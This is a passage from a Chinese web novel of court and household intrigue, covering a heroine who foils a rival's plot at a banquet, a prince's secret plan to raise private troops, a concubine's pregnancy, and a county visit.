“不用不用!没受伤。找东西要紧,那位贵人可是发话了,只要找到了,就赏一贯钱呢!” 一贯钱,一千个铜钱! 啧啧,还真是大方呀。 这也就能理解,为什么会有这么多人帮着找了。 许昭昭借着机会,将二嫂拉得远了一些,很快,一名丫环又朝着她们过来,看样子是在低头找东西,但是那双眼睛,分明就是时不时的在打量着她们所站的位置呢。 所以,这人是要打算动手了? 许昭昭是不喜欢与人玩这种小儿科的戏码,但是架不住有人非得上赶着呀! 待那个丫环走近,许昭昭直接抬手对着她的眼睛一甩,丫环的眼神便开始有几分迷离了。 许昭昭手上其实什么东西也没有,不过是顾虑到二嫂在身边,所以才会故意有这么一个动作当幌子罢了。 “你是打算推我二人入水?” 丫环点点头:“是。” “何人吩咐的?” “小姐。” “你家小姐是何人?” 第250章 背主 丫环没有犹豫:“肃国公府大少夫人姜芙。” 一旁的安和县主都吓傻了,这是什么情况? 许昭昭笑着走近这名丫环,低声吩咐了几句后,便一个响指,那名丫环一脸茫然,只看到有人往亭子里走,这才眨眨眼,然后去执行自己的任务。 半柱香的功夫都不到,便听到惊呼声:“不好了,有人落水了!” 好在,这里没有男客,皆是女眷,而且府内也有会水的婆子丫环,所以很快就把落水之人救上来了。 好家伙,竟然是肃国公府的大少夫人! 这下子有好戏看了。 为何? 因为新的世子夫人就在这里站着呢,她的大嫂落水了,她还能再继续留下来这里毫无芥蒂地饮晏? 虽然不至于伤及名节,但是毕竟众目睽睽之下,也实在是有些丢脸。 最终,宴席还没开呢,肃国公府的女眷便都先走了。 姜芙不仅仅是大少夫人,还是姜家的嫡出大小姐呢,在外面,刘怀德的妻子也不敢真的对她不敬。 出了这档子事,倒是让大家之间多了一些话题,但并不影响整体的宴会氛围。 这就很有意思了。 其实真正站在在了高处的人都能看得出来,姜芙是被姜家舍弃了,但是下面的人,却还是在畏惧着姜家的权势地位。 许昭昭能看懂的,李明雅看不懂,跟在她身边的庶妹李明淑就更看不懂了。 “大少夫人在我府上落水,虽说冲撞她的是她自己身边的丫环,但此事毕竟只有我们知晓,也不知外面会传成什么样。” 李明雅担心因此再给父母带来麻烦。 许昭昭没说话,一旁的安和县主安慰道:“此事不会有什么影响,而且当时世子夫人也在呢,你怕什么?原本就是她们主仆惹出来的事,碍不着李家什么。” 李明雅的心这才落到实处。 不是她胆小怕事,实在是姜芙没出嫁之前那跋扈的性子就出名,怎能让人不害怕? 回去的路上,许昭昭和二嫂坐一辆马车,两人都在嘀咕着今日姜芙落水一事。 “我也不傻,看得出来,那姜芙明明就是冲着你来的,我只是捎带的。你何时惹她了?” 许昭昭还一头雾水呢:“我哪里知道?我都多久不曾见过她了。莫说是她,便是姜家的任何一个,我都没见过呀。我都忙成这样了,哪里还有心思去外面招惹麻烦?” 这倒是实话。 许昭昭自打得知父兄要出征之后,就一直没闲着。 所以,她也不信许昭昭还有这个闲功夫去招惹姜芙。 况且,也没听说过这两人何时见过面呀。 “二嫂嫂,你日后出门也要当心,我看这个姜芙就是不安好心。我瞧着她未必就是在针对我,而是想着发泄一下自己心里的怒火罢了。她如今都成京城的笑柄了,何时受过这等气?今日她自己的火气上来了,不是针对我,也会是别人。 这次我让她自食恶果,也只是希望能让她消消这份心思,毕竟大家都是女子,何苦互相为难呢?若她这一次长了记性,日后能安分一些,不管是何人与她遇上,总不至于再战战兢兢的了。” 安和县主笑着戳她额头一下:“你惯会说话。不过今日之事,也的确是错在姜芙。她定然也不敢说实话,这次的事情,但愿能如你所说,让她安分一些吧。” 姜芙出了这样的事,自然是要被长辈过问的。 得知是她的婢女不小心将她给撞到荷塘里,那还能说什么? 姜芙身边的人都是她自己陪嫁,便是国公夫人也不好直接处置,所以只是象征性地罚了月钱后,又罚她跪了一个时辰,余下的事,便让姜芙自行处置。 姜芙是个心狠的,那还能手下留情? 一番杖责后,丫环青枝皮开肉绽,鲜血淋淋地躺回自己的床上,整个人像是没了半条命。 “青枝姐姐,你也别难过,主要是今天小姐心情不好,这落了水,兴许还会受凉,你且忍忍,我去取些药来。” 青枝是姜芙身边的大丫环,向来极为体面,以前姜芙还是世子夫人时,她在府里头那是炙手可热。 如今主子没权没地位了,她的待遇自然也就落下来一大截。 但不管怎么说,她还是大丫环。 但是今日这一番杖责,可以说是将她的面子里子都给打没了。 已经有好几波过来取笑她的了。 也就只有一个小丫环愿意过来照顾她,还主动给她上了药。 青枝心里头恨呀。 自己为了大小姐辛苦拼命这么多年,什么脏事儿烂事没做过? 不过就是因为失手撞了她一下,这也能怨到挨杖责? 青枝越想,心中越是不平。 照顾她的小丫环则是在暗中观察着她,好一会儿才道:“青枝姐姐,只怕我也照顾不了你几日了。” “怎么?你也觉得我落魄了,瞧不起我?” 小丫环摇头,眼眶都红了。 “当然没有!是世子夫人将我调过去伺候,听说是要我过去侍弄院子里的花草,每个月的月钱也涨了些,只是日后我便要搬住处,不能再住到这里了。” 青枝心头一动,世子夫人性子温和,为人和善,自她掌家以来,除了处置几个以下犯上的刁奴之外,再没有严厉责罚过哪个下人。 而且,日后这国公府,还是要世子夫人当家做主的。 自己虽然是小姐带过来的陪嫁,但小姐终归是国公府的人。 看来自己得想法子向世子夫人投诚,免得日后自己被搓磨。 许昭昭翻了一页书,二嫂嫂并没有问她是否用了什么控神的药物,可见是对她很放心的。 这样也好,也省得她再想理由来编了。 丁香给香炉里续了香粉,福身道:“禀小姐,刚刚肃国公府那边送来消息,说是姜芙身边的大丫环青枝已经有了背主的心思。” “去做了?” “是,听说她私底下偷偷去见世子夫人了,而且还将姜芙的一些小习惯和爱好都说了。” “呵呵,姜芙也是识人不清。不过这个青枝就更蠢了,现在背主,于她有何好处?” 第251章 忠王谋划 姜芙日子过得不如意,操心的是姜宁,因为姜宁和姜芙是一母同胞的亲姐妹,别人不管,姜宁不可能不管。 可姜宁现在的能力有限,而且她如今在忠王府的地位也并没有她想像的那么稳固。 姜家频频出事,对于一心想要登上大位的忠王而言,显然是更看好家世高贵,又一直很稳定的赵家。 赵月借此机会又在王爷面前刷了一波好感,自然是收获颇丰。 许昭昭现在手头上不缺钱,又新得了封地,别提多神气了。 而姜宁的日子就明显差了许多。 她的陪嫁虽然也不少,但是因为当初她赔掉了不少钱,所以她的陪嫁里面的商铺其实没有几间,而且都是赁出去,一年到头只收租金的那种。 收租金和自己做买卖比起来,当然是数目就会少很多。 但姜宁的本事也实在是不敢让人恭维,所以邓氏当初才会故意这样安排。 姜宁名下的庄子倒是有两处,而且还不小。 忠王这边想要上位,光凭着拉拢朝臣这一点显然是行不通的。 他还得有自己的倚仗。 比如说:兵力! 但是大兴的武将,基本上都是直接效忠于陛下的,而且忠王的妻子娘家那边也只是文官的路子,并没有武将的人脉。 倒是有拐着弯的一些人,算是沾上了武将的边。 可是关系太远了,这利益自然就很难保证,所以忠王现在就打算训练自己的私兵。 按大兴律,亲王府可以有六十名亲卫,其中二十名是贴身护卫。 别看亲卫不多,但是实际上,这只是亲王兵权中的一部分。 大兴不许官员以及皇室子弟豢养私兵,一旦发现,那就是谋逆的大罪。 但是亲王也是有府兵的。 大兴实行的是府兵制,忠王是有封地的,但是因为某些原因,所以永安帝将他留在了京城,而他封地上的折冲府兵丁,是属于忠王的。 但是因为忠王不在封地,又因为折冲府都尉都是由朝廷派出去的,所以,忠王并不可能真地调得动那些兵。 也正是因为如此,所以忠王才急眼了。 他不想离京,因为一旦离开了大兴的权利中心,那他有可能就会在消息这一块出现延迟和滞后性。 可是他若是不离京,就没有办法真正地掌管自己封地上的府兵。 这很矛盾。 但是两相比较,还是留在京城的好处更多。 所以,忠王就动了想要练私兵的心思。 他是皇长子,若是论长幼,日后那个位置合该是由他来继承。 讲什么嫡庶? 哼! 安王是嫡子又怎么样,皇后不得宠,皇后和姜贵妃之间的关系可以说是势同水火,他有什么实力能刻得过自己? 忠王想要练私兵,那就必须要钱、要人,更得要有隐秘的地方。 姜宁名下的一处山庄,就再合适不过。 有大山做掩护,到时候让他们的人直接带着人进山练兵,光是山中的野兽,就能帮他练出一批好兵来。 不过,不能急,最主要的是,这需要大量的银钱和保密工作。 忠王原想着先操练五千精兵,届时自己争夺大位也算有份助力。 可是想像是美好的,现实是骨感的。 在京城附近练兵,那就与找死无异! 费心劳力,折腾半天,也才弄来五百精壮,就这五百精壮,一天的嚼用,再加上兵器铠甲等等,就宛如是在吃银子一般地花销。 所以,忠王也不敢再有大动作了。 主要是离京城太近,闹出动静太大来,定然是会出事的。 所以,忠王还是觉得要在自己封地上练兵最为合宜。 但他的封地离京城太远,就算是能操练出五千精兵,届时如何进京,如何藏匿,这都是问题。 现实就是现实,可不是看话本子,哪能是一句话就可以解决这么大的问题? 就在几年前,有位武将,而且还是国公的爵位,就是因为其夫人带着五百兵丁大摇大摆地招摇过市,直接就被御史将弹劾奏章送至御前了。 最后的结果,就是害得那位武将不仅没了官爵,甚至还被抄家流放了。 你说他冤吗? 他可能并无反叛之心,所以只是一时不慎,被其夫人给连累了。 可是你说他不冤? 那朝廷明令禁止的事,他都做出来了,岂非是视朝廷法度于无物? 这样的人,惩治他又岂能是冤枉! 所以,这阵子,忠王就是在为了私兵一事而烦心。 他现在就痛恨自己的封地为何那么远。 想要做什么,光是传个信,这一来一回,哪怕是快马,也得花用上十日左右了。 若是自己的封地也在京畿附近,又何必如何大费周折。 赵月这些日子也弄明白了王爷的难处,思来想去,还真让她找到了法子。 豢养私兵是重罪,但赵月也想当皇后呀! 谁乐意总有人压自己一头? “王爷,先前妾回了娘家一趟,父亲特意让妾带回来二十人,只充作咱们府上的家丁。” 忠王不慎在意,不过是二十家丁而已,也值得拿到他耳边来说? “嗯。” “这二十人可个个都是精壮,听闻其中还有力大如牛者,更有擅骑射者。” 说到此处,忠王终于意动了。 “你的意思是,这些人都是赵家培养的护卫?” “王爷切莫胡言,不过是些精壮家丁罢了。咱们府上的护卫可已经都配齐了。” 赵月这么一使眼色,忠王也就明白了。 “王妃言之有理,是我一时间脑子糊涂了。” 忠王一抬手,外面负责的心腹也都退下,屋内只余他们夫妇二人。 “王爷,妾听闻姜孺人名下那处庄子已经送到您手上了?” “嗯,那里位置不错,而且还有大山做遮挡,倒是可以利用一二。” “王爷,既如此,何不就光明正大地招募一些佃家或者是劳工,只说是想要在山上种些树或者是药材之流,需要有人帮忙清理山石、围堵野兽?” 忠王是聪明人,赵月不需要说得太直白,只这么草草一点,忠王就能想到更深远之处。 “妙呀!还是王妃聪慧,今日一言,竟是解了我这多日的烦恼。” 第252章 姜宁有孕 蓝田县云栖山庄正在大肆兴建,这不就是活生生的例子? 忠王是个聪明人,很快就领悟到其中的关键,开始想办法利用招募劳工等名义来聚集私兵。 其实,现在的私兵,只要是精壮,稍微练上一练,听话、会杀人,就算是成了。 但若是精兵,那就得耗费大量的银钱和物资才能培养得出来。 比如说,仅仅是兵器就分了个三六九等的,哪种不要钱? 最好的兵器,那一把陌刀就能抵得上寻常人家一年的嚼用了。 赵月又笑着暗示道:“姜家明显在走颓势,能否力挽狂澜,也不能只看宫中的姜贵妃,不过姜太傅和姜大人那里,咱们还是要交好,这不妨碍您用一用邓家人。” 练私兵这种事,自然不可能是让忠王亲自参与进去,否则那就死定了。 邓家人? 忠王眉头一跳,立马明白过来。 日后就算是事情败露,也有顶罪之人。 邓家如今还有些银钱傍身,况且姜孺人又是邓家的外甥女,有这么一层关系,邓氏帮着姜孺人来料理产业,这是多正常一件事? 所以,豢养私兵这种事,怎么也算不到他忠王府的头上。 “王妃果然聪慧且明智。” 赵月笑笑不语。 忠王若是能成大事,赵家自然是有着一份从龙之功,而且姜家和邓家也会因此而高升一层。 但那又如何呢? 赵家就算是不卷进这掉脑袋的谋划里,事后忠王也不会少了赵家的恩赏。 这就是赵月出身世家名门的底气。 赵家可没少给忠王这里贴补银钱,但是赵家是聪明人,而且因为底蕴深厚,自然都是走的各种的正当路子,不会被人抓到把柄。 可忠王又切切实实地得到了赵家的好处。 仅凭着这一点,忠王就敢轻视赵家。 但姜宁就不一样了。 她在姜家的地位已大不如前,趁着姜家还能有些用处,还是得好好地运作一番才是。 姜宁的陪嫁里面,可是有遂州的一些产业呢。 遂州离京城可远着呢,而且先前邓氏在那里就有所经营,此次倒是可以借着邓家人之手,好好利用一番。 忠王和幕僚们也很快就勘破其中的关键,往好处想,这也算是提携了邓氏一族,在落魄后拉他们一把,算是给了他们一条生路。 但是本质上,其实就是来一把废物利用。 反正在朝堂上是帮不上什么忙了,但是其它的事情倒是可以运作一二。 姜宁可想不了这么长远,得知王爷愿意帮衬她的外祖家,自然以为这都是他宠爱自己的表现。 一番恩爱之后,姜宁便小声道:“妾的小日子已迟了七八日,明日可否请府医过来把个脉?” 实际上,今天姜宁已经在外面请人看诊过了,确定是喜脉。 但她不说,就是因为想着能借此机会在王爷跟前示个弱,好似是在王府她受了多大的委屈一般。 忠王听闻这个消息,自然是大为欢喜。 身为男人,尤其还是位皇子,自然是极其在意子嗣的。 去岁,忠王妃赵月已经为他诞下嫡子。 所以如今若是姜宁再能给他生个儿子,那就圆满了。 忠王的妻妾不少,但是如今只有一个嫡子,一般高门世家的规矩,正妻进门三年后若是无所出,才会允许庶子女的出生。 皇家自然没有这个顾忌,要不然也不会有他这个庶长子的存在了。 但因为当初是他求娶赵月,所以他主动提出了这样的条件,由此来让赵家看到他的诚意,所以,在赵月生下嫡子之前,他再怎么宠爱其它的女人,也不会让她们有孕。 先前曾有一个小妾仗着自己漂亮得宠,偷偷将喝进去的避子汤又吐出来了,如此几次后,她顺利地怀上了孩子。 但是没能换来忠王的怜惜,反而是命人直接给她灌了红花。 自打之后,再不能有孕。 而且她也自然而然地失宠了。 这件事,在忠王府内宅可是起到了极大的震慑作用。 赵月对此也极为满意,所以才会全心全意地为忠王打算,以期他能有更好的前程。 次日由府医看诊后,确定姜宁有喜的好消息,赵月听闻后,也只是差人送了些补品过来。 身为当家主母,自然不会蠢笨到在这些补品里面做手脚,而且东西都是一目了然的,比如说燕窝,东西就摆在这里了,能怎么做手脚? 姜宁有喜的消息,还是让许昭昭有些意外。 她以为赵月不会让姜宁怀孕的,毕竟姜宁背后的靠山太大了。 真要是让姜宁也生个儿子,以后可有得争了。 可是她没想到,赵月竟然如此大方。 是根本就没把姜宁当回事,还是另有原因? 姜宁有喜的消息并没有声张,整个忠王府也都是瞒得死死的,不许对外透露,主要就是因为怀孕不满三个月,不宜惊动太多人。 至于忠王妃赵月,她此时则是一脸嘲讽:“先让她得意几日吧,毕竟王爷还打算用她呢。” 眼看着过去半个月,姜宁已经开始有了害喜的症状,她在王府里也没有遇到被算计一事,姜宁的心才踏实几分。 与此同时,她也听闻后院除了她之外,还有一位小妾也有了身孕,只是因为身份卑微,只是一个侍妾。 姜宁想到王妃已经有了嫡子,或许正是因为如此,所以才会放开对内眷们的管制,也不知那个小妾怀的是男是女。 许昭昭见赵月一直不曾对姜宁动手,大概就能猜到忠王府必然是有其它动作。 一番调查之外,便得知了邓家某些人的动向。 “肃国公府换了一位世子,也不知道他们是否打算换一位小主子扶持呢?” 许昭昭话落,突然一笑。 天下熙熙皆为利往呀! 她就不信,肃国公真地就和忠王府拴得牢牢的了。 宫中的姜贵妃一连病了数日,一来是因为自己的亲侄子没了,自然是有几分心疼,二来也是担忧其病倒的父亲。 只是她是皇帝的女人,不能随意出宫。 姜贵妃的气色眼看着一日不如一日,便有一位女官进言:“不如请姜孺人进宫来陪陪贵妃?听闻她们姑侄关系向来亲厚,兴许能让贵妃想开一些。” 第253章 一定要让姜宁保住孩子 姜贵妃在宫中受宠多年,收服的宫人妃嫔无数,得罪的人自然也不少。 姜宁在宫中陪着姜贵妃说了会子话,又被留下一起用了午膳,姜贵妃明显比前几日要多吃了一些,负责贵妃膳食的宫人总算是松一口气。 姜宁如今怀孕两月有余,按说是不宜出门的。 但是姜贵妃身体不适,姜贵妃是姜家最大的倚仗,自然不能出事,所以姜延平在第一时间,就通知姜宁进宫陪伴贵妃。 这一次进宫,姜宁一直都格外小心,姜贵妃得知她怀了忠王的子嗣,自然也是格外关心。 因为姜宁有身孕了,所以姜贵妃的心不自觉得就往忠王这边偏了偏。 姜宁平安回到王府,王妃身边的婢女还一脸不解。 “娘娘,您明明可以有机会让姜孺人小产的,为何不肯下令了?” “没有为什么,她是忠王府的人,我是妻,她是妾,争宠这样的事,本妃自然是不屑做。如今她怀着王爷的子嗣,便是我忠王府的喜事。我是王爷的妻子,自然是应该时时处处事事都以王爷为先。先前我一直不曾诞下嫡子,王爷也一直都恪守当年的承诺,他未曾负我,我又怎能去残害他的子嗣?” 门外,不知不觉间,已经多了一双黑色的朝靴。 “娘娘,您心善大度,一心为了王爷着想,可是后院的那些小妾们却是个个都只想着争宠夺利,便是那个姜孺人,也曾几次故意顶撞您,也就是您心宽,不与其计较,若是放到其它的府邸,这样不敬主母的小妾,早该打死了事。” 赵月扑哧一笑:“你这丫头,今日说话怎么戾气这般重?可是有人得罪你了?又或者是听别人说了什么?” 婢女撅嘴,声音闷闷道:“娘娘,有人说姜孺人只要产子,日后姜家必定倾尽全力来助她成为王妃,而且当初您被下毒之事,奴婢可没忘呢。” 赵月淡笑一声:“当初投毒一事,既然已经了结,就不得再提。至于姜家,说实话,如今我倒是盼着姜宁能为王爷诞下一个儿子呢。” 婢女瞪大眼睛:“娘娘?” “你们呀!眼皮子就是浅。本妃是王爷正妻,且是圣上赐婚,谁能撼动本妃的地位?再者说了,王爷也不是那等不知轻重之人,妻就是妻,妾就是妾,一旦违反了纲常,王爷在御前的形象就会大跌,所以王爷定然不会做出这等宠妾灭妻之事。 而且我也信王爷,毕竟王爷能一直不曾让后院先诞下庶长子,这就已经是对我的敬重了,他给了我足够的尊重,我便当为他着想,自然也应该让王爷达成所愿。” 婢女仍然不懂,但是不敢再开口了。 赵月回头瞟她一眼:“日后言行要谨慎,类似于今日之言不可再有。还有,姜孺人不是普通的妾侍,你们平时若是遇到她,也当给予相应的敬重,不可轻视,更不可怠慢!” “是,娘娘,奴婢记下了。” “嗯,嬷嬷!” 一位仆妇即刻上前:“奴婢在。” “带着她去查查,看看是哪些人在背后嚼舌根子,这分明就是愿意挑拨我们妻妾之间不和,也是为了让王爷内宅不宁,意图让王爷分心,甚至有可能是为了让王爷在御前丢脸。这等恶仆,一旦查实,即刻处置。” “是,娘娘。” 仆妇带着婢女下去查证,结果一开门,先看到了外面的主子。 “给王爷请安。” 忠王抬抬手,示意她们退下。 赵月也起身过来请安,却被忠王亲手扶起:“你我夫妻二人,在自己家中,不必如此多礼。” “谢王爷。” “刚刚你们的话本王也听到了,想不到本王的后院里竟然还有人不安分。” “王爷莫恼,您是要做大事的,这等些许小事,交由妾来办就是。定然不会让那起子小人得逞。” “嗯,你做事,本王放心得很。” “王爷,妾正好有事要求王爷呢。” 忠王来了好奇心:“何事?” “今日姜孺人进宫一事,想必王爷也是知道的。妾原本是想拦一拦的,但是奈何姜家那边亲自来人接,而且又一再强调是去宫中陪伴姜贵妃,妾实在是不好拒绝。但姜孺人如今有孕不足三月,实在是应当静养,不若您差人跟姜大人知会一声,还是莫要再劳累到姜孺人了。” “姜孺人的确不再适合出府了。你是王妃,内眷皆应受你管束,你看着办就好。当然,姜家那边,我也会派人知会一声的。” 赵月一脸温柔:“王爷,妾也正想着跟您请示呢,妾以为姜孺人那里还是要请母妃赏赐一位嬷嬷过来吧。虽说妾执掌内院,但是难免会有一些宵小作乱。如今日有人胆敢挑拨妾身边的大丫环,那明日便可能有人往姜孺人的膳食中捣鬼。 妾虽有能力,但毕竟只一人,而且妾也不敢欺瞒王爷,妾原本就疑心咱们王府内院中有其它人的暗探,万一有人借此机会让姜孺人滑胎,从而再赖到妾身上,那定然会影响到王爷在朝堂上行事。” 忠王的母妃早已过世,他是在幼时被太后提议养到了刘妃的膝下。 刘妃母族不算强大,至少比不过皇后和姜贵妃,但是刘妃本人足够聪明,也很安分。 在刘妃收养了忠王这个儿子之后,就尽量地减少出现在御前的次数。 宫中不是没有人笑话她怯懦无用。 但是只有他们母子知道,刘妃这样做,就是为了能保全忠王。 正是因为刘妃的这份小心谨慎,所以他们母子才能平安地活到现在。 一直到忠王被封王且出宫开府之后,刘妃才总算是能松一口气。 如今,忠王已经有了嫡子,刘妃也做了祖母,所以她的腰杆明显已经硬了不少。 “娘娘,忠王妃求见。” 刘妃对这个儿媳妇还是很满意的,当初这桩婚事能成,也是多亏了她的极力促成。 “怎么想起来今日进宫来看我这个老婆子了?” “儿媳给母妃请安,母妃风华依旧,何来老字?儿媳今日是来求母妃恩赏的。” “嗯?”刘妃挑眉:“你还能缺了好东西?” 第254章 娶了个好媳妇 赵月出身大族,什么好东西没见过? 刘妃大概猜到了赵月的来意,但还是想着逗一逗她。 赵月也是个有意思的,像个孩子一样的赖到刘妃身边撒娇。 “本来是昨儿个让王爷来跟您讨要的,可惜圣上给王爷派了差事,所以王爷昨儿就离京了,不得已,只能是妾身来了。” “哟,听这意思,你还不想来见我这个母妃?” 赵月扑哧一笑,随即又抬手轻轻在自己的嘴边拍了一下:“是儿媳说错话了,还请母妃恕罪。” “行了,说吧。” 赵月将来意说了,还特意强调,最好是能找一个精通孕、产妇饮食的嬷嬷才好。 “我身边还真有这样的人,不过前几天姜孺人进宫,姜贵妃没有给她安排吗?若是我直接让你将人领回去,也不知道姜贵妃会不会多心。” “应该不会。王爷已经跟姜府打过招呼了,一直到生产,姜孺人尽量就不出府了。” 刘妃点头:“理当如此。只是她可不是个安分的。你真能管得了她?” 刘妃不是在置疑赵月的能力,而是提醒她姜宁此人能折腾得很,未必受管教。 “母妃放心,儿媳定然安排妥当。” 刘妃很满意,拍拍她的手:“你想的周到,我没看错人。我儿身边有你这样一个妻子,我也能放心不少。” 赵月能感受得到,刘妃是真地喜欢她。 待赵月出宫后,刘妃身边的嬷嬷一脸疑惑:“王妃虽然大方宽厚,但她不可能不知道姜孺人的靠山有多强硬,为何还要想法子保住她的孩子?莫不是只做做样子,免得日后出事,再被疑心到她身上?若是如此,娘娘给她身边派了人,是否不妥?” 刘妃的笑容淡了些,眼神中带有一些冷厉。 “你懂什么?我这个儿媳妇聪明着呢!到底是受过名家教导的,她已然是皇家妇,自然是应该多为忠王考虑。姜孺人若是能生下一子,日后无论是姜太傅,还是姜贵妃,必然都会全力支持我儿。” 嬷嬷瞪眼,她是真地没有想到这一层呀。 刘妃深吸一口气,颇有感触道:“到底是世家大族教养出来的女儿,就是不一般呐。你们看到的不过是眼前之利,而她看到的则是要长远得多。若非是因为我进宫多年,只怕我也会跟你一样的想法。果然,学识、底气,这些都限制了我们的眼界呀。” 嬷嬷扑通一声跪下:“奴婢有罪,请娘娘责罚。” 刘妃摇头:“起来吧。你也是一心为了我。但我看得出来,赵月是真心为了忠王府谋划。但愿那个姜宁能聪明一些,莫要再被人利用,更要保住她的孩子。” 刘妃也是在听到赵月想要讨一个嬷嬷时,才突然确定她的心思。 原本,她以为赵月只是单纯地来做做样子的。 但是后来和她一番交谈,才知道她的深谋远虑。 姜贵妃深受皇宠多年,但是一直无子,膝下的公主倒是颇受皇帝宠爱,但毕竟只是位公主,没有争夺大位的可能性。 而姜宁嫁给了忠王,虽然是妾,但到底也是皇家妇。 日后若是忠王能登上大位,姜宁应该也能得封一个贵妃位。 如此一来,姜家的荣耀将会得到延续,所以什么妾不妾的,还有谁会在乎呢? 在皇宫,除了皇后之外,哪一个不是妾? 便是人人都要巴结讨好的姜贵妃,不也只是一个妾吗? 这就是男人的身份地位不同了,比如圣上,便是他身边的一个洗脚婢,都得被外头的人敬着。 刘妃明白自己的娘家势弱,至少不敢和曲家对上,所以,多年来,她一直小心翼翼。 如今既然是自己的这个养子有机会争一争,那她自然也要全力配合。 许昭昭很快就知道了忠王府的事,也知道赵月应该是会安排姜宁顺利生产的。 果然,姜宁是重生的又如何? 她的成长环境和学识,就决定了她看事情的高度和维度。 若换了姜宁是忠王妃,她定然不会允许有一个这样的威胁存在,必然会想法子致人流产。 但赵月不同。 她有大局观,她太知道应该联合什么人,利用什么人了。 用许昭昭的话说,这个赵月就是很擅长资源整合呀。 “罢了,既然赵月愿意让她生下这个孩子,那咱们就拭目以待,我也想看看,姜宁到底能走多远。” 如今永安帝身体康健,但是朝中对于拥立太子一事呼声极高。 其实永安帝也在发愁。 成年的几个皇子之中,真正有实力的,也就是这么两个。 但是,永安帝又不愿意立这么大的太子。 说白了,就是帝王的疑心病犯了。 他虽然还健硕,但是皇子们更年轻,比他更有力量。 身为帝王,怎么会愿意在自己壮年之时,身边有一个野心勃勃,又实力雄厚的太子? 所以,他还是想着拖一拖。 而拖的办法,就是给几位皇子安排不同的差事,让他们各自去做,如此也正好看看他们各自的能力。 满朝文武,自然也能看出这一点来。 但是,无论谁的能力强,朝中大臣还是拥护安王的人更多。 立嫡立长,有嫡自然是以嫡为先,只有在嫡系全部断绝之后,才会考虑庶出。 这就是忠王一直觉得很难的主要原因。 皇后可是有两个嫡子的。 虽然另一个还小,但也是嫡子。 对于那些更讲究礼法的臣子们而言,嫡子再小,也得立嫡,不可乱了礼法纲常。 庶长子,也就只是占了一个长字,太难了。 许昭昭决定暂时先放一放姜家,毕竟如果打击得太明显了,有有可能会引来各方的猜测和试探。 如今父亲和二哥都在战场上呢,所以还是先消停一些,万一有人突然出手针对侯府,许昭昭一己之力,未必护得住。 “蓝田县那边如何了?” “禀小姐,县主府因为规制的原因,所以修建起来会比较繁琐,就算是今年可以完工,估计也要等到秋末了。” “哦?不是说很快吗?” “蓝田县令见您这边大力修建云栖山庄,所以便特意抽调了一部分去帮衬。” 许昭昭笑了:“他倒是个有眼色的。” 第255章 你好我好大家好 许昭昭话落,紫苏就将蓝田县令的资料摆上来了。 “主子,蓝田县令倒是看似很平庸的一个人,倒是这个县丞方有为,与您的表叔母是族亲。想必也是因为考虑到这一层,所以才会更偏向于您。” 许昭昭挑眉,仔细看过之后,还真是如此。 这种拐着弯的亲戚,也是亲戚。 在官场上,还有比这拐得更远的弯的亲戚。 权势、利益,永远都是官场上最容易被争夺的对象。 “我三哥两日后休沐,丁香你去跟我三哥说一声,让他把表兄陈琮和付大人叫上,另外,让二房的两位庶妹也准备一下,后日待我兄长下衙后便直接启程去蓝田县。” “是,主子。” 正好借此机会,也让付沛与许婷婷多接触一二。 既然想要提拔一下方有为,那总得让方家和陈家的人知道日后当承谁的情。 所以,许昭昭才会安排让陈琮同行,顺便也让他去云栖山庄看看。 虽然主宅尚未修建好,但是已经可以住人了。 许昭昭第一次去蓝田县,按规矩,带了全副仪仗。 这仪仗是圣上赐的,许昭昭还是第一次用。 说是要等许君霆下衙,但是实际上许君霆怎么可能真地让妹妹赶夜路? 所以,一番安排之后,午膳过后又小憩一刻钟,便动身了。 现在出发,不徐不疾,晚膳前,怎么也能赶到蓝田县了。 虽然是带上了全副仪仗,但许昭昭还是没打算太张扬,所以一直快到蓝田县时,才命人鸣锣打??。 县主侍卫开道,许君霆和付沛、陈琮骑马走在马车的前面,可以说是派头十足。 这也是陈琮第一次真正见识到县主出行的气派。 陈琮先前住在侯府时,尚不觉得许昭昭一个县主能有多大的权势。 直到这次仪仗随行,蓝田县令亲自带人至城门口迎接,这才显出县主的威仪。 陈琮一时间有些恍然。 眼前的许昭昭贵气无比,端坐于马车上俯视下面的臣民,好似于他先前所认识的那个小妹妹,压根儿就不是同一人。 许君霆和付沛的接受度就会好很多。 他们毕竟是官员,早已司空见惯。 现在的许昭昭,才是真正的安乐县主。 平时在府内无论是她素颜朝天,还是温婉浅笑,都只是因为她未曾在亲朋面前展示出她强势的一面。 如今的许昭昭,才真得是光彩夺目,耀眼非常。 许昭昭被迎入府衙后堂说话。 身为二品县主,她自然是应该坐主位。 蓝田县令看到了还有一位男爵随行,小心脏差点儿就要跳出来了。 “县令不必如此拘谨,我至此只为查看县主府进度以及云栖山庄那些百姓们的安置,原本无意打扰贵县,只是正好有位长辈在此做事,这才过来叨扰,还望未曾误了贵县的正事。” “不敢不敢。不知县主所说的长辈现在何处?下官也好派人去知会一声,或者是将人请来县衙与县主说话。” “不必了。方县丞可在?” 方有为连忙出列:“下官在。” 陈琮一愣,抬头细看,总觉得眼前这人十分熟悉,却一时间想不起来究竟是哪位了。 许昭昭一抬手,紫苏便下令:“还请贵县将无干人等遣退。” “是。” 令声一下,这厅堂内已经是空闲许多。 “好了,如今已无外人在,方堂舅也不必拘礼,大家都坐吧。” 方有为心跳如鼓,万万没想到,县主竟然会称呼他一声堂舅! 陈琮此时也反应过来,这分明就是自己的堂舅,是母亲的堂兄! “小侄陈琮给舅舅见礼。” 陈琮这一行礼,方有为才总算是多了几分惊喜:“是琮儿?哎呀,这才几年未见,竟已是长成了翩翩公子,你若是不出声,我可真认不出来了。” 陈琮汗颜,若非是许昭昭称呼他一声方堂叔,自己也是认不出来的。 感觉好丢脸! 许君霆也笑着行了一个晚辈礼:“方堂舅有礼了,在下许君霆,是阿琮的表兄。” “原来是小爵爷,实不敢受您的礼。” “都是一家子亲戚,刚刚昭昭还说不必拘礼了,大家快坐吧。” 县令也挺高兴,自打此处被册封给安乐县主之后,他便一直盼着能巴上许侯府。 如今,这机会不就来了嘛! 而且还是借了自己手下的光。 看来,县主和许侯府都有意抬举这个方有为,既然如此,那若是自己之后能得以高升,必然也会投桃报李,将这县令的位置推荐给方有为。 许昭昭来此的目的,也正是这个。 你好我好,大家好嘛。 许昭昭看过这位县令的资历,还算是可以,虽说平庸一些,但是至少不曾欺民霸市,虽有一些小瑕疵,只要自己提醒一二,想必他能想明白。 “先前贵县所审的田村良田一案,我也有所耳闻。此事我能知道,日后必然也会有其它人知道。若是可以,还是当搜集证据重审为宜。” 最后许昭昭离开时,故意落后一步,便是提醒落后她两个身位的县令的。 县令瞬间明白,只要自己将此事抹平,哪怕是亡羊补牢,犹未晚矣。 